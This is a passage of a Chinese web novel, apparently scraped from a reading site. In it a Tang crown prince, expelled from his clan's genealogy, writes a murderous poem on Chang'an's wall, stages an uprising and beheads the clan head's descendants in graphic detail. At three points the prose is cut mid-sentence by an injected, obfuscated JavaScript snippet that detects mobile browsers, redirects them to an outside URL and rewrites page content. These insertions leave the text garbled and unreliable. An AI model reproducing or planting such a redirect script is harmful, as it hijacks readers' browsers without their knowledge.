被这道目光注视着,李泰煦刚刚鼓起的勇气瞬间土崩瓦解,寒意从脚底板直冲天灵盖,让他忍不住打了个冷战。 他看到,李承乾的嘴角,微微向上牵动了一下。 那不是笑。 那是极致的,冰冷的嘲讽。 “哦?” 一个单音节,从李承乾的口中轻轻吐出,声音不大,却清晰地传入大殿中每一个人的耳朵里。 “逐我出五姓七望?” 李承乾的视线,缓缓扫过殿内跪伏一地的所谓“高门大族”,最后,重新定格在李泰煦那张充满错愕的脸上。 他忽然笑了。 笑声很轻,却透着说不出的畅快与解脱。 “这等好事……” 他顿了顿,一字一句,声音穿透了漫天的剑鸣。 “孤,求之不得!” 求之不得! 这四个字,如同四记响亮的耳光,狠狠抽在李泰煦的脸上。 他预想中的所有画面——李承乾的崩溃、悔恨、跪地求饶——没有一个出现。 取而代之的,是这种近乎施舍的、令人发疯的轻蔑。 血气直冲头顶,李泰煦那张涨成猪肝色的脸剧烈地抽搐着。 “你……你这个孽障!你以为这是儿戏吗!” 他嘶吼着,声音因极致的愤怒而变得尖利刺耳,“你以为,没了陇西李氏这个根,你还能在世家林立的朝堂上立足吗!” “来人!” 李泰煦猛地转身,指着殿内一个角落,声嘶力竭地咆哮,“取族谱来!取我陇西李氏的族谱来!!” 他的声音在大殿中回荡,带着破釜沉舟的疯狂。 所有人都被他这副癫狂的模样镇住了。 就连跪伏在地上的房玄龄、魏征等人,此刻也忍不住抬起头,脸上写满了惊骇与不解。 将皇太子逐出宗族? 这简直是闻所未闻的荒唐事! 这已经不是在羞辱李承乾,这是在动摇国本,是在将整个皇室的脸面按在地上摩擦! 李泰煦疯了! 很快,一名须发皆白、穿着深色儒袍的宗族老者,在两名家仆的搀扶下,颤颤巍巍地捧着一个沉重的紫檀木盒走了上来。 那木盒古朴至极,上面雕刻着繁复的云纹,散发着千年岁月沉淀下来的厚重气息。 所有人的目光,都不由自主地被吸引了过去。 李泰煦一把抢过木盒,粗暴地打开。 一卷泛黄的绢帛静静躺在其中,那便是陇西李氏传承千年的族谱。 他像是捧着世间最神圣的法器,一步一步,走到了大殿门口,将那族谱“啪”地一声,在众人面前展开! 他要当着天下人的面,当着这满朝文武的面,将李承乾这个名字,彻底抹去! “竖子看清了!” 李泰煦的手指,因为用力而微微发白,他在那密密麻麻的名字中,找到了属于“承乾”的那一列。 “从今日起,你再不是我李氏子孙!” 第78章 父皇!你可要看血流成河啊! 李泰煦从旁边的内侍手中夺过早已备好的狼毫笔,饱蘸浓墨,高高举起,一个即将行刑的刽子手。 殿内,许多官员眼中都流露出惋惜之色。 太子殿下何等天纵奇才,文能安邦,武能定国,如今却要落得如此下场。 被宗族除名,这对任何一个心高气傲的人来说,都是奇耻大辱。 在他们看来,这几乎断绝了李承乾所有的后路。 一个没有宗族支持的太子,还如何与那些盘根错节的世家大族抗衡? 李泰煦享受着这种万众瞩目的感觉,他觉得自己赢了。 他用最古老、最神圣的规则,给了这个无法无天的狂徒最沉重的一击! 他死死盯着李承乾,他要看他失魂落魄,要看他痛不欲生! 然而,李承乾只是静静地看着他。 那眼神,平静得可怕。 就在看一场与自己毫不相干的闹剧。 李承乾嘴角的弧度,甚至又扩大了几分,那讥讽的意味,几乎要化为实质,刺穿李泰煦那可怜的自尊心。 “划掉它。” 李承乾开口了,声音不大,却带着不容置疑的命令口吻。 “用点力,别让孤的名字,脏了你们这高贵的族谱。” “你!” 李泰煦气得浑身发抖,他再也忍不住,手中的毛笔带着无尽的怨毒,狠狠地、重重地划了下去! 一道粗劣而狰狞的墨痕,将“承乾”二字彻底覆盖。 做完这一切,李泰煦扔掉笔,大口大口地喘着粗气,脸上却露出病态的、胜利的潮红。 他赢了! 他终于…… 赢了! “哈哈……哈哈哈哈!” 李泰煦狂笑起来,“李承乾!你现在看到了吗?你什么都不是了!你就是一个无根的野种!一个被家族唾弃的废物!” 他的笑声尖锐而刺耳,回荡在寂静的太极殿前。 可他的笑声,却在下一刻戛然而止。 因为他看到,李承乾也笑了。 那是畅快淋漓、挣脱束缚的大笑。 “废物?野种?” 李承乾摇了摇头,那双漠然的眸子缓缓扫过殿内噤若寒蝉的文武百官,最后落回到李泰煦那张错愕的脸上。 “李泰煦,还有你们……” 他的声音陡然转冷,带着令人灵魂战栗的威严。 “你们是不是觉得,这所谓的五姓七望,是这天底下至高无上的荣耀?” “你们是不是以为,掌控了这可笑的族谱,就能掌控天下人的命运?” “你们是不是认为,没了这层身份,孤便一无是是?” 李承乾向前踏出一步。 轰! 这一步,踩在了所有人的心脏上。 那三千道悬于天际的剑气,随着他这一步,猛然发出一声惊天动地的剑鸣! 其声如龙吟,如虎啸,如天神之怒! 整个长安城,都在这恐怖的剑鸣声中瑟瑟发抖! 大殿的琉璃瓦被震得簌簌作响,殿内的梁柱发出不堪重负的呻吟,跪在地上的百官只觉得无形的巨力压下,连头都抬不起来! 李泰煦脸上的笑容彻底凝固,取而代之的是无边的恐惧。 他手中的族谱“啪嗒”一声掉在地上,那张引以为傲的千年绢帛,此刻就如同一张废纸。 李承乾缓缓抬起手,伸向那虚空。 “你们认为五姓七望是无上荣耀?” 他的声音,盖过了漫天剑鸣,清晰地传入每个人耳中。 “孤,今日便彻底碾碎它!” 话音落下,他手掌猛然一握! “剑来!” 刹那间,长安城外,那三千道剑气得到了君王的号令,化作三千道璀璨的流光,冲天而起! 它们在空中汇聚,交织,最终,凝聚成一柄横贯天际的、难以用言语形容的擎天巨剑! 那巨剑的剑尖,正对着太极殿! 毁灭性的气息,笼罩了整个皇宫。 殿内的所有人,包括龙椅上脸色铁青的李世民,都感到了发自灵魂深处的战栗。 他们毫不怀疑,只要那柄巨剑落下,整个太极殿,乃至整个皇宫,都将化为齑粉! 毁灭的气息如同一张无形的巨网,将整个太极殿死死罩住。 空气凝固成了琉璃,沉重得让人窒息。 每一个呼吸都像是在吞咽刀片,刺痛着肺腑。 李承乾居高临下,那双眼眸里再无一毫的温度,只有一片冰封的荒原。 他的视线越过殿前广场上那群抖成一团的文武百官,如同一柄最锋利的冰锥,精准地钉在了李泰煦的身上。 李泰煦跪在那儿,仰着头,整个人像是被抽走了骨头,瘫软在地。 他那张刚刚还因为狂喜而扭曲的脸,此刻只剩下死灰色的恐惧。 他张着嘴,喉咙里却发不出半点声音,只有“嗬嗬”的、如同破旧风箱喘息。 “你……觉得孤没了你们陇西李氏,就什么都不是了?” 李承乾的声音很轻,却像九幽之下的寒风,钻进每个人的骨髓里。 李承乾一张手,万柄仙剑化形! “孤今日,便也送你们五姓七望一首诗!” 话音未落,满朝文武,有一个算一个,脑子里“嗡”的一声,瞬间一片空白! 诗? 在这种时候? 用一柄足以毁灭长安的剑悬在头顶的时候,他说要…… 作诗?! 这是何等的狂妄! 何等的蔑视! 他们甚至来不及消化这荒谬绝伦的念头,便看到了让他们毕生难忘的一幕。 李承乾动了。 他没有走,没有跑,而是整个人拔地而起! 他的身形化作一道玄色的流光,无视了空间的距离,无视了所有人的理解,在众人惊骇欲绝的目光中,瞬间出现在了远方那巍峨的长安城墙之上! 他站在城楼之巅,衣袂在猎猎风中狂舞,背后是那柄贯穿天地的巨剑,脚下是瑟瑟发抖的**江山。 这一刻,他不是太子。 他是神! 是魔! 李承乾举起了手中的剑。 不是那柄由三千剑气汇聚的能量巨剑,而是他自己的佩剑,一把凡铁。 可在他手中,这凡铁,亦有了神魔之力! 他以长安城那厚重、古老的城墙为纸,以手中三尺青锋为笔! “锵——!” 一声刺耳的金石摩擦声响彻云霄。 剑尖划破坚硬的城砖,如同烧红的烙铁划过牛油,轻而易举。 火星四溅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253003|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 碎石崩飞! 一个巨大而狰狞的字,带着无匹的霸气与杀意,被深深地烙印在了城墙之上! 待! 那字迹龙飞凤舞,笔锋凌厉,要破墙而出! 满朝文武,包括龙椅上的李世民,全都死死盯着那个字,心脏狂跳,几乎要从嗓子眼里蹦出来! 李承乾手腕翻飞,剑光闪烁。 “锵!锵!锵!” 一个个燃烧着火焰的巨大字符,接连不断地出现在城墙之上! “待到秋来九月八!” 第一句诗成! 肃杀之气,随着这句诗的出现,瞬间笼罩了整座长安城! 明明是盛夏,所有人却感到刺骨的寒意! 李泰煦瘫在地上,痴痴地望着那句诗,嘴唇哆嗦着,牙齿咯咯作响。 他读过万卷书,却从未见过如此凶戾的诗句! 还未等他们从这股寒意中回过神来,李承乾的剑,再次动了! 他的动作更快,更猛! 剑锋所过之处,留下一道道熔化的、赤红的痕迹! “我花开后百花杀!” 轰! 如果说第一句是肃杀,那这第二句,就是赤裸裸的、不加掩饰的、宣告天下的屠戮宣言! 我花开后,百花皆杀! 何等的霸道! 何等的猖狂! 这天下,除了他李承乾,谁敢自称“我花”? 那“百花”,又是谁?! 答案不言而喻! 殿前广场上,那些出身五姓七望的官员们,一个个面如金纸,汗出如浆。 有几个胆小的,两眼一翻,竟是直接被这句诗里蕴含的滔天杀意给活活吓晕了过去! 魏征的胡子在剧烈颤抖,房玄龄的额头青筋暴起,杜如晦死死攥着拳头,指甲刺入了掌心,鲜血流出都浑然不觉! 他们看着城墙上那个孑然而立的身影,只觉得那不是他们的太子,而是一个即将颠覆整个天下的绝世凶人! “百花杀……” 他喃喃自语,眼神复杂到了极点,有震怒,有惊骇,还有连他自己都不愿承认的…… 战栗! 而李承乾的狂草,仍在继续! 他的剑舞得越来越快,整个人与剑光融为一体,在城墙上留下了一连串疯狂的笔画! “冲天香阵透长安!” “满城尽带黄金甲!” 当最后一个“甲”字的最后一捺,带着一道长长的、撕裂天际的火光,被重重地刻在城墙上时。 整个世界,都安静了。 那柄悬于天际的擎天巨剑,发出一声嗡鸣,在为这首诗的诞生而欢呼! 那三千剑仙,齐齐发出惊天剑吟,声震寰宇! 太极殿前,死的寂静。 所有人都抬着头,失魂落魄地看着那四句诗。 那二十八个字,如同二十八道血色的烙印,深深地刻在了城墙上,也刻在了他们每一个人的灵魂深处! 杀气! 无边的杀气! 五姓七望诛我出宗族! 好! 好! 好啊! 这一次,孤,便杀一个血流成河! “父皇!你可要看血流成河啊!” 李承乾,凶威显现! 第79章 满城尽带黄金甲!起事! 这股杀气,粘稠如血,沉重如山,压得在场每一个人都喘不过气。 时间凝固了。 风停了,蝉鸣也消失了。 整个太极殿广场,除了火焰灼烧城墙发出的“滋滋”声,再无半点声响。 满城尽带黄金甲,每一个字都像是一头从地狱里爬出来的凶兽,张着血盆大口,无声地咆哮着,要将这朗朗乾坤,吞噬殆尽! “疯了……太子疯了……”一个五姓七望出身的言官,双腿一软,瘫倒在地,裤裆处迅速湿了一大片,嘴里胡乱地念叨着,眼中的光彩已经彻底涣散。 他不是第一个,也不是最后一个。 接二连三的,那些平日里高高在上,以千年门楣自居的世家子弟们,如同被秋风扫过的落叶,一个接一个地瘫软下去。 他们怕了。 是那种从灵魂深处泛起的,无法抑制的恐惧。 这首诗,就是写给他们看的! 这滔天的杀意,就是冲着他们来的! 瘫在地上的李泰煦,浑身抖得像筛糠,他仰着头,死死地盯着城墙上那道孤傲的身影。 阳光刺眼,他却觉得浑身冰冷。 他想不明白,事情怎么会变成这样? 一个被他们视为可以随意拿捏的、被废黜宗籍的丧家之犬,怎么敢? 他怎么敢写出这样的诗! 他怎么敢对五姓七望,露出獠牙! 愤怒、恐惧、**……种种情绪交织在一起,最终化作歇斯底里的狂怒,冲破了他的理智。 “李承乾!” 李泰煦用尽全身力气,从地上挣扎着爬起来,枯瘦的手指直直地指向城墙上的李承乾,声音嘶哑而尖利。 “你这是什么意思!” 这一声怒喝,终于打破了广场上那死神寂静。 所有人的目光,瞬间聚焦在了城墙之上。 李承乾缓缓垂下手中的剑。 那柄还在散发着恐怖高温的巨剑,剑尖斜斜地指向地面,熔化的铁水滴滴答答地落在城砖上,留下一个个漆黑的凹坑。 他笑了。 不是冷笑,不是讥笑,而是一种极其平淡的,在陈述一件微不足道的小事笑容。 他低头,俯瞰着下方那一张张惊恐、愤怒、扭曲的脸,目光最后落在了状若疯魔的李泰煦身上。 “你说什么意思?” 他的声音不大,却清晰地传到了每一个人的耳朵里。 “孤想吃鱼了。” 众人一愣。 吃鱼? 这是什么疯话? 然而,李承乾的下一句话,却让所有五姓七望的族人,如坠冰窟! “你们,送上族谱!” 轰隆! 一道九天神雷,在众人脑海中炸响! 吃鱼……族谱…… 这一刻,他们全都明白了! 他要吃的,哪里是鱼! 他要吃的,是他们这些传承千年的世家大族! 他要的,是他们的族谱! 是要将他们的根,他们的荣耀,他们的一切,连根拔起,嚼碎了,吞下肚! 这是要……灭族啊! “你……你……” 李泰煦指着李承乾,气得浑身发颤,一口气没上来,喉咙里发出“咯咯”的怪响,眼珠子几乎要从眼眶里瞪出来。 他震怒! 他狂怒! 他从未受过如此的羞辱! 李承 乾这是将他们五姓七望,当成了砧板上的鱼肉,可以随意宰割! 而其他五姓七望的官员,在最初的震骇之后,心中涌起的是无边的悔意和彻骨的寒意。 他们忽然意识到一个极其可怕的事实。 他们错了。 大错特错! 他们以为,将李承乾逐出宗族,废掉他的陇西李氏血脉,就是打断了他的脊梁,让他成为一个无根的浮萍。 可他们万万没想到! 这一举动,非但没有削弱他,反而像是解开了拴在猛虎脖子上最后一道枷锁! 一个连宗族都可以舍弃的太子,他还有什么顾忌? 一个连祖宗都不认的人,他还会敬畏什么礼法? 他们亲手,将一头被囚禁的恶龙,给解封了! 就在这时,一声压抑到极致的咆哮,从太极殿的龙椅上传来! “逆子!” 李世民猛地站起身,双目赤红,死死地盯着城墙上的李承乾。 他扶着龙椅扶手的手背上,青筋暴起,虬结如龙! 坚硬的龙头扶手,在他的指下,发出了不堪重负的呻吟! 那是他最骄傲的儿子,是他给予厚望的太子! 可现在,这个儿子,却当着他的面,当着满朝文武的面,写下了如此大逆不道的屠戮之诗! 这是在宣告,他要**! 杀的,还是他李世民都不得不倚重拉拢的世家大族! 这是在动摇国本! 这是在挑战他作为皇帝的无上权威! “你敢!” 李世民的声音里,蕴含着雷霆之怒,要将整个天穹都给震裂! 皇威如狱,天子之怒! 整个广场的空气都为之凝滞,所有人都被这股威压压得低下头去,不敢直视龙椅上的那道身影。 然而,有一个人例外。 李承乾。 他迎着李世民那几乎要**的目光,脸上的笑容反而更盛了。 他缓缓地,将那柄燃烧的巨剑,重新举起,扛在了自己的肩上,动作轻佻,眼神却锐利如刀。 他看着自己的父亲,那个高高在上的大唐皇帝,一字一句,清晰地说道: “父皇,” “你看我,敢不敢!” 话音落下的瞬间,李承乾扛在肩上的巨剑动了。 他没有再多说一个字,也没有再看龙椅上那个愤怒到极致的父亲。 他只是轻描淡写地,将那柄燃烧着熊熊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253004|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烈焰的巨剑,在空中划出了一道刺眼的火色圆弧,然后重重地指向天空! 动作狂妄,姿态嚣张! 那冲天而起的火焰,就是最明确的信号! 就是起事的狼烟! “咚——咚——咚——” 几乎在同一时间,沉闷如雷的鼓声,从长安城的四面八方,轰然响起! 不,那不是鼓声。 那是大地的脉搏!是万马奔腾,是铁蹄在践踏着长安城的每一寸土地! 声音由远及近,初时如闷雷滚滚,在天边酝酿。 转瞬之间,便化作了倾盆而下的暴雨,狠狠砸在每个人的心头! 整个太极殿广场,都在这恐怖的蹄声中微微震颤。 瓦片在宫殿的屋檐上簌簌作响,随时都会被这无形的声浪震碎! “怎么回事?” “哪里来的马队?” “护驾!快护驾!” 满朝文武,瞬间大乱! 那些平日里高谈阔论,指点江山的文臣们,此刻吓得面无人色,如同被狂风卷起的落叶,惊慌失措地四处张望,寻找着一毫的安全感。 武将们则下意识地握住了腰间的刀柄,脸上写满了凝重与骇然。 他们都是身经百战的宿将,可这种要将整座城池都踏平的马蹄声,他们也只在最惨烈的战场上听过! 这绝不是几百骑,甚至几千骑能制造出的动静! 这是……一支大军! 一支潜伏在帝都心脏的恐怖大军! 就在众人惊骇欲绝的目光中,异变陡生! 从连接着太极殿广场的朱雀大街尽头,出现了刺眼的金色。 那金色迅速蔓延、扩大,如同决堤的洪流,瞬间填满了所有人的视野! 一排! 十排! 百排! 身披璀璨金甲,手持长戈的步卒,如同从地狱深处走出的鬼神,迈着整齐划一,却又沉重到令人窒息的步伐,缓缓逼近! 他们的面甲遮蔽了所有的表情,只留下一双双冰冷无情的眼睛。 阳光照耀在他们那如同黄金浇铸的甲胄上,反射出万道金光,晃得人睁不开眼。 那金光,本该是堂皇、威严的象征,此刻却充满了血腥和肃杀的味道! 他们没有发出任何呐喊,只有甲叶碰撞的“哗啦”声和脚步踏地的“轰隆”声。 两种声音,汇合成了一曲死亡的乐章。 一步,大地在颤抖。 再一步,人心在碎裂! 太极殿前,瞬间死寂。 所有人都被眼前这超乎想象的一幕给震慑住了。 金甲步兵! 在长安城内,在皇城脚下,竟然出现了一支装备如此精良,气势如此骇人的金甲步兵! 他们是谁的兵? 他们从何而来? 答案,不言而喻。 李承乾剑指苍穹! 起事! 杀气,冲天! 第81章 父皇,我杀一个血流成河给你看! 玄武门广场,死寂无声。 时间在这一刻凝固,空气中弥漫开来的,是浓得化不开的血腥气。 那颗滚落在地的人头,双目圆睁,脸上还凝固着临死前的惊恐与不信。 无头的尸身喷涌出的鲜血,将冰冷的青石板染成了一片触目惊心的暗红。 满朝文武,无论是身经百战的武将,还是自诩泰山崩于前而色不变的文臣,此刻全都面如土色,身体僵硬,如同被施了定身咒的泥塑木雕。 他们的目光,在李景亮的人头、李承乾滴血的长剑、以及那位暴怒到浑身颤抖的天子之间来回游移。 震撼! 无与伦比的震撼! 这位太子,疯了! 他真的疯了! 他不仅敢当众**,杀的还是陇西李氏的嫡系子孙! 他更敢当着皇帝的面,用如此决绝的方式,回应天子的怒吼! “父皇!孤杀了!如何呢?” 这句轻飘飘的反问,却像一柄无形的重锤,狠狠砸在每个人的心上。 李世民的胸膛剧烈起伏,双拳紧握,指节因用力而泛白。 他死死盯着下方那个持剑而立的身影,那张与自己有七分相似的脸庞上,此刻却挂着他从未见过的冷酷与桀骜。 那是他的儿子,也是他亲手册封的太子。 可现在,这个儿子,却变成了一头挣脱了所有枷锁的猛兽,用最原始、最血腥的方式,向他,向整个大唐宣告自己的存在! 李泰煦发出一声不似人声的悲嚎,整个人瞬间苍老了十岁。 他踉跄着扑到李景亮那具尚在抽搐的尸身旁,浑浊的老泪如决堤般涌出。 “吾儿……吾儿啊!” 他伸出颤抖的手,想要去触碰那颗死不瞑目的头颅,却又在半空中猛地缩了回来。 之前在朝堂上叫嚣着要将李承乾逐出五姓七望,要将其千刀万剐的那个世家领袖,此刻只剩下一个痛失爱子的可怜老者。 李承乾看都没看那具尸体一眼,他用衣袖,慢条斯理地擦拭着剑身上的血迹。 他抬起眼,看向哭得撕心裂肺的李泰煦,嘴角忽然勾起一抹残忍的笑意。 “李泰煦,你哭什么?” 他的声音不大,却清晰地传遍了整个广场,像淬了冰的钢针,扎进每个人的耳朵里。 “这才刚杀了一个,你的眼泪,留着后面用吧。” 什么? 众人心中警铃大作! 李泰煦的哭声戛然而止,他猛地抬起头,用一双布满血丝的眼睛,难以置信地看着李承乾。 只听李承乾扬声道:“来人!” 侍立在广场两侧的大雪龙骑,甲胄铿锵,齐声应诺。 “诺!” 声如**,杀气冲霄! 李承乾手中的长剑,指向了李泰煦,剑尖微微晃动,地狱判官手中的勾魂笔。 “把李泰煦的二子、三子、四子,还有他的长孙,重孙,凡是在长安的,全都给孤拉上来!” 此言一出,人群中响起一片倒吸凉气的声音。 这…… 这是要灭族啊! 李泰煦浑身一软,彻底瘫倒在地。 他顾不上任何体面与尊严,手脚并用,疯了地爬向李承乾,额头在坚硬的青石板上磕得砰砰作响,鲜血瞬间染红了他的前额。 “太子饶命啊!殿下饶命啊!” “老臣错了!老臣罪该万死!求殿下看在同宗同源的份上,饶了他们吧!他们是无辜的啊!” 他语无伦次,声音凄厉,每一个字都带着血泪。 李承乾居高临下地俯视着他,脸上的笑容愈发浓郁,只是那笑意不达眼底,冰冷得让人心头发寒。 “饶命?” 他轻笑一声,俯下身,用只有两人能听到的声音说道。 “做什么要饶命?老东西,你刚才在朝堂上,指着孤的鼻子,要陛下诛杀孤的时候,可曾想过要给孤一条活路?” 李泰煦的身体剧烈地颤抖起来,他张着嘴,却一个字也说不出来。 是啊,他从未想过。 在他和五姓七望的眼中,这个太子,不过是他们随意拿捏的棋子,是他们维护门阀利益的垫脚石。 他们何曾想过,这颗棋子,会反过来掀了整个棋盘! “你不就是要诛我吗?” 李承乾直起身子,声音重新变得洪亮,“孤现在,不过是满足你的愿望,让你看看,什么叫真正的诛杀!” 片刻之后,一阵哭喊与挣扎声从远处传来。 一队如狼似虎的大雪龙骑,押着一群衣着华贵,此刻却面无人色、狼狈不堪的男子走了上来。 正是李泰煦的子孙们。 他们被粗暴地推搡着,在大殿外的广场上一字排开,跪倒在地。 为首的几人,看着不远处李景亮的尸体,早已吓得魂飞魄散,裤裆一片湿热,腥臊之气弥漫开来。 李泰煦看着自己的儿子、孙子、重孙像待宰的牲畜一样跪在那里,他的心,像是被一只无形的大手狠狠攥住,痛得无法呼吸。 悔恨! 无尽的悔恨,如潮水般将他淹没! 他终于明白了。 李承乾,本身就是五姓七望血脉最尊贵的一支。 如果他们没有利欲熏心,没有为了打压皇权而做出那等蠢事,没有将他逐出宗族…… 以李承乾的骄傲,或许会对他们施以雷霆手段,但绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253006|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不至于像现在这样,杀起人来,没有丝毫的犹豫和手软! 是他们,亲手斩断了最后血脉情分! 是他们,亲手将一头本可约束的猛虎,变成了嗜血的恶龙! 李泰煦像是抓住了最后一根救命稻草,他抬起头,声音嘶哑地哀求道:“太子……殿下……这些人,他们……他们都是您的宗族啊!” “哦?” 李承乾挑了挑眉,听到了什么新鲜事。 他踱步到那些跪着的李氏族人面前,用带血的剑尖,挨个抬起他们的下巴,审视着他们因恐惧而扭曲的脸。 “宗族?” 他转过身,重新看向李泰煦,眼神中的嘲讽几乎要溢出来。 “李泰煦,你刚才可不是这么说的!” “你当着满朝文武,当着孤的父皇,亲口说,我李承乾,德不配位,行止不端,不配为李氏子孙!” “你忘了?” 李承乾的声音,一句比一句冷,一句比一句重! “你说,要将我,逐出陇西李氏,从族谱上,彻底除名!” “怎么?现在孤**了,这些人,就又变成孤的宗族了?” 他仰天大笑,笑声中充满了快意与癫狂。 “哈哈哈……天下间,哪有这么便宜的好事!” 笑声骤停,李承乾的脸色瞬间转为森寒,磅礴的杀气,以他为中心,轰然爆发! 那股杀气,不再是之前那种单纯的冷冽,而是混合了尸山血海的煞气与君临天下的威严! 广场上的温度,骤然下降了十几度。 文武百官在这股滔天杀气的笼罩下,只觉得呼吸困难,心胆俱裂,不少人双腿发软,几乎要站立不住。 李世民,也感到了发自心底的寒意。 这不是他那个在深宫中长大的儿子! 这股气息,分明是屠戮了百万生灵的绝世凶神,是执掌生杀大权的铁血帝王! 李承乾缓缓举起了长剑。 阳光照耀在剑刃上,反射出刺目的寒芒,晃得人睁不开眼。 “父皇,你不是要看血流成河吗?!” “我就杀一个血流成河给你看!” 他的目光,扫过跪在地上的李氏族人,扫过噤若寒蝉的文武百官,最后,落在了面如死灰的李泰煦脸上。 “孤今日,便要让你们,让天下所有的世家门阀都看清楚!” “背叛孤的下场!” “与孤为敌的代价!” 话音落,剑锋起! …… 兄弟们,还有人看书吗? 这么静悄悄啊。 有朋友看书。 吱一声啊。 我这都没人回应了。 第82章 这哪里是族谱?这是阎王的生死簿! 血光迸溅! 那不是一抹,而是一片! 李承乾的剑没有任何花哨的招式,只是最简单,最直接的挥砍。 噗嗤! 跪在最前面的,是李泰煦的二子,一个平日里养尊处优的中年人。 他甚至没来得及发出一声惨叫,头颅便冲天而起,脖颈处的鲜血如喷泉般涌出,洒了旁边他三弟一脸。 温热的,粘稠的液体糊住了眼睛,李泰煦的三子发出一声不似人声的尖叫,浑身剧烈颤抖,裤裆处的大片湿热迅速扩散。 “魔鬼!你是魔鬼!” 他尖叫着,手脚并用,想要向后爬。 李承乾的眼神没有丝毫波动,只是在菜园里除去几根碍事的杂草。 他反手一剑,剑锋划过一道冷酷的弧线。 尖叫声戛然而止。 一颗同样滚圆的头颅,咕噜噜滚到了李泰煦的脚边,那双眼睛还圆睁着,充满了极致的恐惧和不敢置信。 “不!不——!” 李泰煦目眦欲裂,嘶吼出声,却只能眼睁睁看着那冰冷的剑锋,继续收割着他子孙的性命。 四子、长孙、重孙…… 一个接一个。 没有反抗,没有挣扎。 在三千蜀山剑修冰冷的剑意笼罩下,在黄金甲士森然的戈矛所指之下,他们连站起来的勇气都没有,只能像砧板上的鱼肉,任人宰割。 哭喊声、求饶声、咒骂声混杂在一起,又迅速被利刃入肉的声音所终结。 鲜血汇聚成溪,沿着太极殿前洁白的石砖缝隙缓缓流淌,浓郁的血腥味冲天而起,几乎要将人的神志都熏得昏厥。 满朝文武,一个个面无人色,肝胆俱裂。 他们见过**,见过战场,可他们何曾见过如此景象? 在皇宫大殿之前,当着皇帝的面,当着文武百官的面,一位太子,屠戮自己的宗族! 这不是厮杀,这是单方面的屠戮! 魏征嘴唇哆嗦着,想说什么,却一个字都吐不出来。 房玄龄和杜如晦垂下眼帘,不敢再看,紧握的双拳,指甲早已深陷入掌心。 什么宗族? 狗屁的宗族。 都是恨不得将李承乾剥皮斩首! 李泰煦不认,他何必去认! 侯君集更是双腿一软,若不是旁边的人扶了一把,他险些瘫倒在地。 李世民的胸膛剧烈起伏,他的眼睛里布满了血丝,死死盯着那个在血泊中闲庭信步的身影。 那还是他的儿子吗? 那分明是从地狱爬出来的修罗! 终于,最后一个跪着的李泰煦子嗣倒下。 广场上,陷入了一片死寂,只剩下风吹过旌旗的猎猎声,以及鲜血滴答落地的声音。 李承乾的长剑上,血珠沿着剑尖,一滴滴坠落,在地面上砸开一朵朵小小的血花。 他环顾四周,对自己的杰作颇为满意。 然后,他迈开步子,踩着粘稠的血泊,一步步走向早已瘫软如泥的李泰煦。 李泰煦跪在那里,浑身抖得像秋风中的落叶,口中发出“嗬嗬”的声响,口水和眼泪鼻涕糊了一脸,再无半分世家大族族长的威仪。 李承乾在他面前站定,低头俯视着这个掌握着权柄的陇西李氏族长。 他伸出手,动作轻柔地从李泰煦颤抖不止的手中,抽出了那本厚厚的族谱。 书页上,沾染了李泰煦手上的血污。 李承乾毫不在意,他用手指漫不经心地翻开族谱,目光在上面一页页扫过。 “孤看看……” 他轻声低语,声音不大,却清晰地传遍了整个死寂的广场。 “……还有没有漏网之鱼!” “啊!” 李泰煦被这句话彻底击溃了心防,猛地向前一扑,抱住李承乾的腿,用尽全身力气磕头,额头与染血的石板碰撞,发出砰砰的闷响。 “太子饶命啊!殿下饶命啊!老朽错了!老朽真的错了!” “求您……求您给陇西李氏留一条根吧!求您了!” 他哭嚎着,声音嘶哑,充满了绝望。 李承乾低头看着他,脸上忽然绽开一个笑容,那笑容在沾染了血迹的映衬下,显得无比诡异。 “我给你留根,你刚才怎么没想给我留根?” “斩草不除根,春风吹又生。” 李承乾翻动这族谱。 “你说这族谱……是谁研究的?分门别类,家庭住址,血缘传承……” 他饶有兴致地翻着,在欣赏一件稀世珍宝。 “真是个好东西啊!” 他抬起头,目光越过跪地的李泰煦,望向了李世民。 李世民的怒火,早已在胸中化作了滔天巨浪。 杀! 他的内心在咆哮! 他想下令,让金吾卫将这个逆子拿下,就地正法! 可是…… 他不能。 他的目光扫过广场。 三千蜀山剑修,列成剑阵,虽然静默无声,但那股冲霄的剑意,却如同一柄柄悬在每个人头顶的利剑,随时可能落下。 长安城内,他能调动的兵马,此刻正被那一万黄金甲士死死压制。 他甚至毫不怀疑,如果自己此刻真的逼得太紧,这个已经杀红了眼的儿子,会毫不犹豫地调转剑锋,对自己…… 弑君! 他不能赌。 大唐,赌不起! 他在等。 等他的玄甲军! 他暗中调集的兵马,正在从各地星夜兼程赶来。 